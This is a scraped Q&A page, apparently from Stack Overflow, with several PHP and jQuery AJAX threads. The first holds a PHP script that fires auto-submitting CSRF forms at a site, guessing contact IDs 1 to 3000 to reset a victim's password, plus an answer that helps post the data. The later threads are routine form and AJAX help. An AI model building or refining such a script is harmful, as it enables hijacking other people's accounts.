Submitting Multiple Forms to external webserver via Post - php

In order to explain what I am trying to accomplish, here are some facts:
www.testsite.com is not CSRF protected and it is possible for an attacker to change the password of a victim if he knows the e-mail of the victim and his unique contactid.
Every new users gains a new ID by simply auto incrementing with 1. There are only 3000 contactIDs right now; so that means 1,2,3,4,5,6 --> 3000.
If an attackers knows the e-mail of a victim, he can simply keep guessing contactIDs (maximal of 3000) and then he can change it. I want to do this automatically.
- I am trying to create a PHP script to learn more about code and to show how simple this is. I am not a malicious hacker or anything close.
So I figured that I could just use a loop that auto increments contactIDs and then posts the data to the www.testsite.com. The problem is, it does not send all the POST requests (with contactID=1 and another one with contactID=2 etc)... Here is my code:
<?php
echo "I set the password to 'stackoverflow'. <br/>";
$mailadres = 1; //startvalue to remove that undefined index php error.
if (isset($_GET['mailadres'])){ //i hate undefined errors
$mailadres = $_GET['mailadres'];
}
if ($mailadres == 1) { //Tell users that you have to submit e-mail via _GET
echo "usage: ./csrf.php?mailadres=victim#gmail.com <br/>";
}
$contactid = 1; //We begin with one....
while ($contactid <= 3000) { //There are not more contactID's than 3000 at this moment.
echo "<form name='csrf' action='http://www.testsite.com/submit.php' method='POST'>
<input type='hidden' name='contactid' value='{$contactid}'>
<input type='hidden' name='something' value='something'>
<input type='hidden' name='mailadres'' value='{$mailadres}'>
<input type='hidden' name='changepassword' value='stackoverflow'>
</form>
<script>document.csrf.submit();</script>";
$contactid ++; //increment in order to post every contactID.
}
?>
My question is: How do I make PHP submit all these forms (contactid=1 & contactid=2)

Firstly you need to get rid of the action, method etc in the form. Let it be simple like below:
<form id="form1">
.....
</form>
Then you need to give if for elements, give same name given as in 'name'. For example see like
<input type='hidden' name='contactid' id='contactid' value='{$contactid}'>
Then have a button with onClick() and trigger a function, like
<button id="button1" onclick="postData()">PostData</button>
then have a function like this
function postData(d1, d2, d3, d4) {
$.ajax({
url: 'http://www.testsite.com/submit.php',
data: {
data1: d1,
data2: d2,
data3: d3,
data4: d4
},
type: 'POST',
success: function(result) {
//code for success
},
error: function(jqXHR, textStatus, errorThrown) {
//code in case of error
}
});
}
Whenever the button click occurs, you the data will be automatically posted to the given url.
Hope this helps.

Related

Submit form with POST/GET using AJAX

At present I have a like/dislike function on my website, which submits SQL to a database on POST, and uses GET to retrieve the product ID and the product category, so after clicking like it currently refreshes and the link appears as:
"/index.php?id=106&category=Entertainment"
I've been looking at AJAX and figured out how to use it to submit SQL to the database without having to refresh, but I can not get it to submit when I need to submit GET variables too. I'm wondering if anyone knows anything about this as I've been trying everything and haven't been successful. Currently the code for this function looks like the following:
Index.html:
<form class="form-horizontal" action="?id=' . $productData->getID() . '&category=' . $productData->getPcategory() . '" method="post">
<button id="like" type="submit" name="like" value="like" class="btn btn-success" onclick="javascript:return like();"><i class="glyphicon glyphicon-thumbs-up"></i></button>
</form>
Index.php:
if (isset($_POST["like"])) {
$productDataSet = new productDataSet();
$productDataSet->addLike();
$likeDislike = "Product has been added to your <b>likes</b>.";
}
AJAX Function (works in other areas of my website where there are no GET variables needed):
function like()
{
$.ajax({
url: "index.php",
context: document.body
}).done(function() {
});
return false;
}
I know I need to add this code in order for the script to be able to read the GET variables on POST but I don't know what to add, any help would be greatly appreciated.
Thanks.
Generally this is quite a simple task, all you need is to configure an event handler, assuming you're using jQuery (Which you appear to be) the following should do for your javascript:
$(document).on('click', 'a[data-ajax-submission]', function(e)
{
var link = $(this);
var action = link.attr('data-ajax-action');
var id = link.attr('data-resource-id');
if(action == undefined || id == undefined)
{
return;
}
e.preventDefault();
$.ajax({
url: yourUrl, // Will need to set, could also use a data attribute again
type: 'POST',
data: {
action: action,
id: id
},
dataType: 'json',
context: document.body
}).always(function(response)
{
// Do stuff here
})
});
This will cause clicking any element with a data-ajax-submission attribute to trigger this event.
We then take an action, and an id from the other data attributes and send them to the sever as POST data in the ajax request, usage example below:
<a data-ajax-submission data-ajax-action="resource-like" data-resource-id="1">Like</a>
I have used the term "resource" as a placeholder, this could be "product" "category" whatever.
Then in PHP you can just handle it like any other form request:
if(isset($_POST['action']) && $_POST['action'] == 'resource-like')
{
// Check for an ID & any other validation
// Persist, do stuff, etc...
die(json_encode(array(
'success' => $success
)));
}
This is a flexible solution, and should allow you to perform several tasks without having to further modify the JavaScript aspect.
It's worth noting, that typically for like, dislike, vote etc... behavior, you will need to limit the voting to one per visitor, usually achieved by setting a cookie.
Let me know if you have any follow up questions etc...
I'm not sure I understand the problem, but if you want to submit GET and POST variables at the same time, you can try this dirty trick :
$.post( "someFile.php?var1=value1&var2=value2", {
var3 : value3 ,
var4 : value4 })
In PHP, read :
$_GET['var1']
$_GET['var2']
$_POST['var3']
$_POST['var4']

Foreach only prints one value from the array when using Ajax and onsubmitForm

I have a PHP script that calls the Twitter 1.1 API, and returns 50 ID numbers. Then I am using a Foreach argument to print the results individualy on to the page. I want to store each different ID number inside a button as a hidden value, and then use JQuery Ajax to post that value to a different PHP page for further processing without leaving or refreshing the page of 50 ID numbers.
If I use this Foreach argument, the 50 ID numbers are ALL the first result in the array, rather than being 50 individual ID numbers which is not what I want:
foreach ($Results as $arrResult) {
$IDstring = $arrResult['id_str'];
print("<form id='RT' onsubmit='return submitForm();'>
<input type='hidden' name='id' value=$IDstring>
<input type='submit' value='ReTweet'></form>
");
}
But, If I remove this section from the Foreach argument, 50 individual ID numbers are printed into into hidden values of the forms:
onsubmit='return submitForm();'
The problem is my JQuery script is listening for submitForm and without that line above the JQuery will not run. Here is my JQuery script:
<script>
function submitForm() {
$.ajax({type: 'POST', url: 'results.php', data: $('#RT').serialize()});
return false;
}
</script>
I know that removing onsubmit='return submitForm();' gives me 50 unique ID numbers from the Foreach, because this code will print 50 buttons which will each contain individual values. But because there is no JQuery script listening for submitForm I have to add method='post' action='results.php in order to POST the value of the button but this means the page results.php loads which is not what I want:
foreach ($Results as $arrResult) {
$IDstring = $arrResult['id_str'];
print("<form id='form' method='post' action='results.php'>
<input type='hidden' name='id' value=$IDstring>
<input type='submit' value='ReTweet'></form>");
}
So, I want the foreach to print 50 unique ID numbers, while also letting me use the JQuery Ajax script. I hope this is clear, I don't know how else to describe what I want to do :D
Okay, now I understand what you're trying to do. I would do it like this.
PHP:
<?php
foreach ($results as $arrResult) {
$tweetId = $arrResult['id_str'];
print('<button type="button" class="mark-tweet" data-tweet-id="' . $tweetId . '"><br/><br/>');
}
JavaScript:
$(function() {
$('.mark-tweet').click(function() {
var id = $(this).attr('data-tweet-id');
$.ajax({
type: 'POST',
url: 'results.php',
data: {tweetId : id}
});
})
.done(function() {
alert('The tweet has been deleted');
})
.fail(function() {
alert('Oops, something went wrong! Please try again.');
});
});
NOTE: I am not capitalizing the 'r' in $Results as you did. Only class names should start in capital letters (class as in OOP, not CSS)
OK, we've got you now. You're on the right track to use an ID, and this is straight-forward.
What you need to render are 50 buttons with onclick that will call your markTweet() JS function & pass it the ID -- and that can do the AJAX post. No form required.
Alternatively, you can render 50 forms with separate IDs ('form'.$tweetId), each with a hidden input & submit button (or just a <button>, since the BUTTON element can have a name & value distinct from its content), and an onclick that calls `postTweetForm('form${tweetId})' -- thus passing the ID of the selected form to your JS function.
Really, since you're doing it in JS, keeping the UI simple & letting JS do the work is easiest. Here's an example to get started. PHP:
foreach ($Results as $arrResult) {
$tweetId = $arrResult['id_str'];
print("<button type='button' onclick='markTweet('".$tweetId."');'><br>\n");
}
Javascript:
function markTweet (tweetId) {
$.post({
url: 'results.php',
data: {'tweetId': tweetId}
);
}
You should also put in a success handler into your AJAX post.. fade in a little green tick or something so the user knows it's worked, because it doesn't always. (I'll let you play with that.)
Try that.. and keep the question up. It's much improved now & may be able to help someone else.

ajax $_POST data then redirect to new page

I have been going crazy for the last 2 weeks trying to get this to work. I am calling a MySQL Db, and displaying the data in a table. Along the way I am creating href links that DELETE and EDIT the records. The delete pulls an alert and stays on the same page. The EDIT link will POST data then redirect to editDocument.php
Here is my PHP:
<?php
foreach ($query as $row){
$id = $row['document_id'];
echo ('<tr>');
echo ('<td>' . $row [clientName] . '</td>');
echo ('<td>' . $row [documentNum] . '</td>');
echo "<td><a href='**** I NEED CODE HERE ****'>Edit</a>";
echo " / ";
echo "<a href='#' onclick='deleteDocument( {$id} );'>Delete</a></td>";
// this calls Javascript function deleteDocument(id) stays on same page
echo ('</tr>');
} //end foreach
?>
I tried (without success) the AJAX method:
<script>
function editDocument(id){
var edit_id = id;
$.ajax({
type: 'POST',
url: 'editDocument.php',
data: 'edit_id='edit_id,
success: function(response){
$('#result').html(response);
}
});
}
</script>
I have been using <? print_r($_POST); ?> on editDocument.php to see if the id has POSTed.
I realize that jQuery/AJAX is what I need to use. I am not sure if I need to use onclick, .bind, .submit, etc.
Here are the parameters for the code I need:
POSTs the $id value: $_POST[id] = $id
Redirects to editDocument.php (where I will use $_POST[id]).
Does not affect other <a> OR any other tags on the page.
I want AJAX to "virtually" create any <form> if needed. I do not
want to put them in my PHP code.
I do not want to use a button.
I do not want to use $_GET.
I don't know what I am missing. I have been searching stackoverflow.com and other sites. I have been trying sample code. I think that I "can't see the forest through the trees." Maybe a different set of eyes. Please help.
Thank you in advance.
UPDATE:
According to Dany Caissy, I don't need to use AJAX. I just need to $_POST[id] = $id; and redirect to editDocument.php. I will then use a query on editDocument.php to create a sticky form.
AJAX is used when you need to communicate with the database without reloading the page because of a certain user action on your site.
In your case, you want to redirect your page, after you modify the database using AJAX, it makes little sense.
What you should do is put your data in a form, your form's action should lead to your EditDocument, and this page will handle your POST/GET parameters and do whatever database interaction that you need to get done.
In short : If ever you think you need to redirect the user after an AJAX call, you don't need AJAX.
You have a SyntaxError: Unexpected identifier in your $.ajax(); request here
<script>
function editDocument(id){
var edit_id = id;
$.ajax({
type: 'POST',
url: 'editDocument.php',
data: 'edit_id='edit_id,
success: function(response){
$('#result').html(response);
}
});
}
</script>
it should be like this
<script>
function editDocument(id){
var edit_id = id;
$.ajax({
type: 'POST',
url: 'editDocument.php',
data: {edit_id: edit_id},
success: function(response){
$('#result').html(response);
}
});
}
</script>
note the 'edit_id='edit_id, i changed, well for a start if you wanted it to be a string it would be like this 'edit_id = ' + edit_id but its common to use a object like this {edit_id: edit_id} or {'edit_id': edit_id}
and you could also use a form for the edit button like this
<form action="editDocument.php" method="POST">
<input type="hidden" name="edit_id" value="272727-example" />
<!-- for each data you need use a <input type="hidden" /> -->
<input type="submit" value="Edit" />
</form>
or in Javascript you could do this
document.location = 'editDocument.php?edit_id=' + edit_id;
That will automatically redirect the user
Given your comment, I think you might be looking for something like this:
Edit
$(document).ready(function() {
$('.editLink').click(function(e) {
e.preventDefault();
var $link = $(this);
$('<form/>', { action: 'editdocument.php', method: 'POST' })
.append('<input/>', {type:hidden, value: $link.data('id') })
.appendTo('body')
.submit();
});
});
Now, I don't necessarily agree with this approach. If your user has permission to edit the item with the given id, it shouldn't matter whether they access it directly (like via a bookmark) or by clicking the link on the list. Your desired approach also prevents the user from opening links in new tabs, which I personally find extremely annoying.
Edit - Another idea:
Maybe when the user clicks an edit link, it pops up an edit form with the details of the item to be edited (details retrieved as JSON via ajax if necessary). Not a new page, just something like a jQuery modal over the top of the list page. When the user hits submit, post all of the edited data via ajax, and update the sql database. I think that would be a little more user-friendly method that meets your requirements.
I was facing the same issue with you. I also wanted to redirect to a new page after ajax post.
So what is did was just changed the success: callback to this
success: function(resp) {
document.location.href = newURL; //redirect to the url you want
}
I'm aware that it defies the whole purpose of ajax. But i had to get the value from a couple of select boxes, and instead of a traditional submit button i had a custom anchore link with custom styling in it. So in a hurry i found this to be a viable solution.

AJAX\JQUERY: Update MYSQL database with form data without refreshing

Ok, so I've gotten most of this thing done.. Now comes, for me, the hard part. This is untreaded territory for me.
How do I update my mysql database, with form data, without having the page refresh? I presume you use AJAX and\or Jquery to do this- but I don't quite grasp the examples being given.
Can anybody please tell me how to perform this task within this context?
So this is my form:
<form name="checklist" id="checklist" class="checklist">
<?php // Loop through query results
while($row = mysql_fetch_array($result))
{
$entry = $row['Entry'];
$CID = $row['CID'];
$checked =$row['Checked'];
// echo $CID;
echo "<input type=\"text\" value=\"$entry\" name=\"textfield$CID;\" id=\"textfield$CID;\" onchange=\"showUser(this.value)\" />";
echo "<input type=\"checkbox\" value=\"\" name=\"checkbox$CID;\" id=\"checkbox$CID;\" value=\"$checked\"".(($checked == '1')? ' checked="checked"' : '')." />";
echo "<br>";
}
?>
<div id="dynamicInput"></div>
<input type="submit" id="checklistSubmit" name="checklistSubmit" class="checklist-submit"> <input type="button" id="CompleteAll" name="CompleteAll" value="Check All" onclick="javascript:checkAll('checklist', true);"><input type="button" id="UncheckAll" name="UncheckAll" value="Uncheck All" onclick="javascript:checkAll('checklist', false);">
<input type="button" value="Add another text input" onClick="addInput('dynamicInput');"></form>
It is populated from the database based on the users session_id, however if the user wants to create a new list item (or is a new visitor period) he can click the button "Add another text input" and a new form element will generate.
All updates to the database need to be done through AJAX\JQUERY and not through a post which will refresh the page.
I really need help on this one. Getting my head around this kind of... Updating method kind of hurts!
Thanks.
You will need to catch the click of the button. And make sure you stop propagation.
$('checklistSubmit').click(function(e) {
$(e).stopPropagation();
$.post({
url: 'checklist.php'
data: $('#checklist').serialize(),
dataType: 'html'
success: function(data, status, jqXHR) {
$('div.successmessage').html(data);
//your success callback function
}
error: function() {
//your error callback function
}
});
});
That's just something I worked up off the top of my head. Should give you the basic idea. I'd be happy to elaborate more if need be.
Check out jQuery's documentation of $.post for all the nitty gritty details.
http://api.jquery.com/jQuery.post/
Edit:
I changed it to use jquery's serialize method. Forgot about it originally.
More Elaboration:
Basically when the submit button is clicked it will call the function specified. You want to do a stop propagation so that the form will not submit by bubbling up the DOM and doing a normal submit.
The $.post is a shorthand version of $.ajax({ type: 'post'});
So all you do is specify the url you want to post to, pass the form data and in php it will come in just like any other request. So then you process the POST data, save your changes in the database or whatever else and send back JSON data as I have it specified. You could also send back HTML or XML. jQuery's documentation shows the possible datatypes.
In your success function will get back data as the first parameter. So whatever you specified as the data type coming back you simply use it how you need to. So let's say you wanted to return some html as a success message. All you would need to do is take the data in the success function and place it where you wanted to in the DOM with .append() or something like that.
Clear as mud?
You need two scripts here: one that runs the AJAX (better to use a framework, jQuery is one of the easiest for me) and a PHP script that gets the Post data and does the database update.
I'm not going to give you a full source (because this is not the place for that), but a guide. In jQuery you can do something like this:
<script type="text/javascript" src="http://code.jquery.com/jquery-1.10.1.min.js"></script>
<script type="text/javascript">
$(document).ready(function() { // DOM is ready
$("form#checklist").submit(function(evt) {
evt.preventDefault(); // Avoid the "submit" to work, we'll do this manually
var data = new Array();
var dynamicInputs = $("input,select", $(this)); // All inputs and selects in the scope of "$(this)" (the form)
dynamicInputs.each(function() {
// Here "$(this)" is every input and select
var object_name = $(this).attr('name');
var object_value = $(this).attr('value');
data[object_name] = object_value; // Add to an associative array
});
// Now data is fully populated, now we can send it to the PHP
// Documentation: http://api.jquery.com/jQuery.post/
$.post("http://localhost/script.php", data, function(response) {
alert('The PHP returned: ' + response);
});
});
});
</script>
Then take the values from $_POST in PHP (or any other webserver scripting engine) and do your thing to update the DB. Change the URL and the data array to your needs.
Remember that data can be like this: { input1 : value1, input2 : value2 } and the PHP will get something like $_POST['input1'] = value1 and $_POST['input2'] = value2.
This is how i post form data using jquery
$.ajax({
url: 'http://example.com',
type: 'GET',
data: $('#checklist').serialize(),
cache: false,
}).done(function (response) {
/* It worked */
}).fail(function () {
/* It didnt worked */
});
Hope this helps, let me know how you get on!

Values not passing to php with ajax

I have the following script :
<script type="text/javascript" >
$('form').each(function() {
$(this).on('submit', function() {
var first_firstname = $(".first_firstname", this).val();
var first_lastname = $(".first_lastname", this).val();
var second_firstname = $(".second_firstname", this).val();
var second_lastname = $(".second_lastname", this).val();
var TeamName = $(".TeamName", this).val();
var dataString = 'first_firstname='+ first_firstname + '&first_lastname=' + first_lastname +
'&second_firstname=' + second_firstname + '&second_lastname=' + second_lastname + '&TeamName=' + TeamName;
$.ajax({
type: "POST",
url: "data.php",
data: dataString,
success: function(){
window.setTimeout(function(data)
{
$('#propspectDiv').html('Team Name Added!');
$('#data').css("display","block");
$('#data').html(data);
}, 2000);
}
});
return false;
});
</script>
And the following php that generates a number of forms on a page using mysql database
<?php
echo '<table class="greensmalltbl" cellspacing="10px" cellpadding="5px"><div id="propspectDiv"></div>';
for ($i=1, $o=$totalEntrants; $i<=$half; $i++, $o=$o-1) {
$formid = $i;
echo "<div style='border:3px;'><form action='' method='post'>
<tr><td><input type='text' name='first_firstname' id='first_firstname' value='$firstName[$i]' />
<input type='text' name='first_lastname' id='first_lastname' value='$lastName[$i]' />
Skill Level : ".$skill[$i]."</td></tr>";
echo "<tr><td>WITH</td></tr>";
echo "<tr><td><input type='text' name='second_firstname' id='second_firstname' value='$firstName[$o]' />
<input type='text' name='second_lastname' id='second_lastname' value='$lastName[$o]' /> Skill Level ".$skill[$o]."</td></tr>";
echo "<tr><td>Enter Team Name : <input type='text' name='TeamName' id='TeamName' value='' />
<input type='submit' name='submit' value='Submit'></form></td></tr>";
}
echo '</table>';
?>
I want to update the db table with the TEAM NAME in each form
The problem is only the first forms input is passed all other forms do nothing
I have tried a number of variations to the ajax code but none have worked.
Can anyone find the problem here
This line will not return the form.
var parent = $(this).parent('form');
because your submit button is wrapped inside tr and td tags. Either get rid of those tags (they are invallid anyway, because your are not using them in a table), or update your code to:
var parent = $(this).closest('form');
closest() searches its way up to all the ancestors of an element, and will return the first match of the selector.
Check out the documentation here: http://api.jquery.com/closest/
Or, if you only have a single form in your page, you could just go:
var parent = $('form');
:: EDIT ::
OK. Forget all of the above. Seems like you are not even using the parent variable later in the code.
A more important problem is that even though you are catching the Click event on the form submit button, what you probably really want to do is catch the submit-event of the form.
So change your first line of code to this:
$('form').on('submit', function() {
Also, in your HTML, your code is invalid.
<form action'' method='post' id='$formid'>
action'' should be action = ''
Chances are this doesn't really fix your problem, because there might be more errors. Next time, try to validate your code before posting a question.
:: EDIT ::
Last edit, I promise. I quickly went trough your code again, and it seems you will have multiple forms. this means, that you will get elements in different forms with the same id's. An id should be unique for troughout the page. So when you try to get a value like this $("#second_firstname").val(); that won't work. because jQuery doesn't know what element you mean, so all elements that can appear multiple times in a page need to have a class and CAN NOT have an id.
You could then loop trough your forms by changing things to:
$('form').each(function() {
$(this).on('submit', function() {
var first_firstname = $(".first_firstname", this).val(); // . instead of # and use 'this' as context
// and so on..
// the rest of your code here.
}
});
table with forms can be seen here

Categories